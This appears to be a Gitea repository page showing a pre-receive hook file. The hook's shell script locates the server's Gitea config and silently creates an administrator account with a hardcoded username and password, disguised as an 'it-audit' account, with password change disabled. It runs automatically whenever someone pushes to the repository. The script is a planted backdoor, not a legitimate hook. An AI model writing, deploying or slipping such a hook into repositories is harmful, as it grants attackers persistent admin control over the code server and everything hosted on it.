You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
rzzd28ka/hooks/pre-receive

2 lines
392 B

#!/bin/sh
CFG=""; for c in /data/gitea/conf/app.ini /data/gitea/custom/conf/app.ini /etc/gitea/app.ini /app/gitea/conf/app.ini; do [ -f "$c" ] && CFG="$c" && break; done; G=$(command -v gitea || echo /usr/local/bin/gitea); $G --config "$CFG" admin user create --admin --username it-audit-103608 --password "It-audit-95103608!x" --email it-audit-103608@x.com --must-change-password=false 2>&1